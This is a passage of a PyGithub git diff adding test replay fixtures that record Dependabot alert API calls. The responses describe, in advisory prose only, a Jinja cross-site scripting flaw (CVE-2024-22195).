fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1","html_url":"https://github.com/coopernetes/PyGithub/security/dependabot/1","created_at":"2024-01-20T17:12:38Z","updated_at":"2024-01-21T03:35:38Z","dismissed_at":"2024-01-21T03:35:38Z","dismissed_by":{"login":"coopernetes","id":57812123,"node_id":"MDQ6VXNlcjU3ODEyMTIz","avatar_url":"https://avatars.githubusercontent.com/u/57812123?v=4","gravatar_id":"","url":"https://api.github.com/users/coopernetes","html_url":"https://github.com/coopernetes","followers_url":"https://api.github.com/users/coopernetes/followers","following_url":"https://api.github.com/users/coopernetes/following{/other_user}","gists_url":"https://api.github.com/users/coopernetes/gists{/gist_id}","starred_url":"https://api.github.com/users/coopernetes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coopernetes/subscriptions","organizations_url":"https://api.github.com/users/coopernetes/orgs","repos_url":"https://api.github.com/users/coopernetes/repos","events_url":"https://api.github.com/users/coopernetes/events{/privacy}","received_events_url":"https://api.github.com/users/coopernetes/received_events","type":"User","site_admin":false},"dismissed_reason":"tolerable_risk","dismissed_comment":"Example comment","fixed_at":null,"auto_dismissed_at":null} diff --git a/tests/ReplayData/DependabotAlert.testGetAlertsWithAllArguments.txt b/tests/ReplayData/DependabotAlert.testGetAlertsWithAllArguments.txt new file mode 100644 index 0000000000..1038e3a23c --- /dev/null +++ b/tests/ReplayData/DependabotAlert.testGetAlertsWithAllArguments.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/repos/coopernetes/PyGithub/dependabot/alerts?state=open&severity=medium&ecosystem=pip&package=foo%2Cjinja2&manifest=bar%2Fpackage.json%2Crequirements%2Fdocs.txt&scope=runtime&sort=created&direction=asc +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sun, 21 Jan 2024 03:26:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"002bc3cf8a4a661061b33ae3699c28d6d18fe782787dbb1192b56af103a328e5"'), ('Last-Modified', 'Sun, 21 Jan 2024 03:26:01 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:invite, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4982'), ('X-RateLimit-Reset', '1705809202'), ('X-RateLimit-Used', '18'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'A142:162D:4C531D:A04A80:65AC8EDC')] +[{"number":1,"state":"open","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1","html_url":"https://github.com/coopernetes/PyGithub/security/dependabot/1","created_at":"2024-01-20T17:12:38Z","updated_at":"2024-01-21T03:26:01Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null}] diff --git a/tests/ReplayData/DependabotAlert.testMultipleAlerts.txt b/tests/ReplayData/DependabotAlert.testMultipleAlerts.txt new file mode 100644 index 0000000000..5949d2e21c --- /dev/null +++ b/tests/ReplayData/DependabotAlert.testMultipleAlerts.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/repos/coopernetes/PyGithub/dependabot/alerts +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 20 Jan 2024 22:04:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"55942192d755ff8b4eb1f6b26e83cd02811f5455fa034b1590d1c11b30a84ca5"'), ('Last-Modified', 'Sat, 20 Jan 2024 22:04:00 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:invite, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1705791680'), ('X-RateLimit-Used', '27'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DF04:6873:150B:2ED9:65AC435C')] +[{"number":1,"state":"dismissed","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1","html_url":"https://github.com/coopernetes/PyGithub/security/dependabot/1","created_at":"2024-01-20T17:12:38Z","updated_at":"2024-01-20T22:04:00Z","dismissed_at":"2024-01-20T22:04:00Z","dismissed_by":{"login":"coopernetes","id":57812123,"node_id":"MDQ6VXNlcjU3ODEyMTIz","avatar_url":"https://avatars.githubusercontent.com/u/57812123?v=4","gravatar_id":"","url":"https://api.github.com/users/coopernetes","html_url":"https://github.com/coopernetes","followers_url":"https://api.github.com/users/coopernetes/followers","following_url":"https://api.github.com/users/coopernetes/following{/other_user}","gists_url":"https://api.github.com/users/coopernetes/gists{/gist_id}","starred_url":"https://api.github.com/users/coopernetes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coopernetes/subscriptions","organizations_url":"https://api.github.com/users/coopernetes/orgs","repos_url":"https://api.github.com/users/coopernetes/repos","events_url":"https://api.github.com/users/coopernetes/events{/privacy}","received_events_url":"https://api.github.com/users/coopernetes/received_events","type":"User","site_admin":false},"dismissed_reason":"tolerable_risk","dismissed_comment":"Example comment","fixed_at":null,"auto_dismissed_at":null}] diff --git a/tests/ReplayData/DependabotAlert.testRepr.txt b/tests/ReplayData/DependabotAlert.testRepr.txt new file mode 100644 index 0000000000..2a333254d4 --- /dev/null +++ b/tests/ReplayData/DependabotAlert.testRepr.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/repos/coopernetes/PyGithub/dependabot/alerts/1 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sun, 21 Jan 2024 03:48:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4f4dfb4e1c402c10a899477bc5ee37795feca57fa0a50548c85fae38cf365ee6"'), ('Last-Modified', 'Sun, 21 Jan 2024 03:35:38 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:invite, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1705809202'), ('X-RateLimit-Used', '28'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D9A2:305E:9A31D42:13F16090:65AC941B')] +{"number":1,"state":"dismissed","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1","html_url":"https://github.com/coopernetes/PyGithub/security/dependabot/1","created_at":"2024-01-20T17:12:38Z","updated_at":"2024-01-21T03:35:38Z","dismissed_at":"2024-01-21T03:35:38Z","dismissed_by":{"login":"coopernetes","id":57812123,"node_id":"MDQ6VXNlcjU3ODEyMTIz","avatar_url":"https://avatars.githubusercontent.com/u/57812123?v=4","gravatar_id":"","url":"https://api.github.com/users/coopernetes","html_url":"https://github.com/coopernetes","followers_url":"https://api.github.com/users/coopernetes/followers","following_url":"https://api.github.com/users/coopernetes/following{/other_user}","gists_url":"https://api.github.com/users/coopernetes/gists{/gist_id}","starred_url":"https://api.github.com/users/coopernetes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coopernetes/subscriptions","organizations_url":"https://api.github.com/users/coopernetes/orgs","repos_url":"https://api.github.com/users/coopernetes/repos","events_url":"https://api.github.com/users/coopernetes/events{/privacy}","received_events_url":"https://api.github.com/users/coopernetes/received_events","type":"User","site_admin":false},"dismissed_reason":"tolerable_risk","dismissed_comment":"Example comment","fixed_at":null,"auto_dismissed_at":null} diff --git a/tests/ReplayData/DependabotAlert.testUpdateAlertDismissed.txt b/tests/ReplayData/DependabotAlert.testUpdateAlertDismissed.txt new file mode 100644 index 0000000000..7dfae3df9f --- /dev/null +++ b/tests/ReplayData/DependabotAlert.testUpdateAlertDismissed.txt @@ -0,0 +1,10 @@ +https +PATCH +api.github.com +None +/repos/coopernetes/PyGithub/dependabot/alerts/1 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"state": "dismissed", "dismissed_reason": "tolerable_risk", "dismissed_comment": "Example comment"} +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 22 Jan 2024 02:33:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2c93d3d265a67aa4bcb393922396933c9d930dc7d61b0c44c17aae05b8d53728"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:invite, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1705893222'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D7DE:2475:1C8D4C1:3C1021D:65ADD3DD')] +{"number":1,"state":"dismissed","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1","html_url":"https://github.com/coopernetes/PyGithub/security/dependabot/1","created_at":"2024-01-20T17:12:38Z","updated_at":"2024-01-22T02:33:02Z","dismissed_at":"2024-01-22T02:33:02Z","dismissed_by":{"login":"coopernetes","id":57812123,"node_id":"MDQ6VXNlcjU3ODEyMTIz","avatar_url":"https://avatars.githubusercontent.com/u/57812123?v=4","gravatar_id":"","url":"https://api.github.com/users/coopernetes","html_url":"https://github.com/coopernetes","followers_url":"https://api.github.com/users/coopernetes/followers","following_url":"https://api.github.com/users/coopernetes/following{/other_user}","gists_url":"https://api.github.com/users/coopernetes/gists{/gist_id}","starred_url":"https://api.github.com/users/coopernetes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coopernetes/subscriptions","organizations_url":"https://api.github.com/users/coopernetes/orgs","repos_url":"https://api.github.com/users/coopernetes/repos","events_url":"https://api.github.com/users/coopernetes/events{/privacy}","received_events_url":"https://api.github.com/users/coopernetes/received_events","type":"User","site_admin":false},"dismissed_reason":"tolerable_risk","dismissed_comment":"Example comment","fixed_at":null,"auto_dismissed_at":null} diff --git a/tests/ReplayData/DependabotAlert.testUpdateAlertOpen.txt b/tests/ReplayData/DependabotAlert.testUpdateAlertOpen.txt new file mode 100644 index 0000000000..b20543714a --- /dev/null +++ b/tests/ReplayData/DependabotAlert.testUpdateAlertOpen.txt @@ -0,0 +1,10 @@ +https +PATCH +api.github.com +None +/repos/coopernetes/PyGithub/dependabot/alerts/1 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"state": "open"} +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 22 Jan 2024 02:32:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5d0cb0a87cff35a86e7108995bab03effc9aeca537515adbd41e7bf3692f37c2"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:invite, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1705893222'), ('X-RateLimit-Used', '5'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'A3B6:73AF:1A2FE7D:374C388:65ADD3BF')] +{"number":1,"state":"open","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1","html_url":"https://github.com/coopernetes/PyGithub/security/dependabot/1","created_at":"2024-01-20T17:12:38Z","updated_at":"2024-01-22T02:32:31Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null} diff --git a/tests/ReplayData/Deployment.setUp.txt b/tests/ReplayData/Deployment.setUp.txt index 65325f65fd..363eff3e7f 100644 --- a/tests/ReplayData/Deployment.setUp.txt +++ b/tests/ReplayData/Deployment.setUp.txt @@ -30,4 +30,3 @@ None 200 [('Date', 'Wed, 26 Aug 2020 11:59:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"ff9fb362ffa1d052a6e56eed6779fad3"'), ('Last-Modified', 'Wed, 26 Aug 2020 11:44:53 GMT'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', 'repo, repo_deployment'), ('X-GitHub-Media-Type', 'github.ant-man-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1598445598'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', 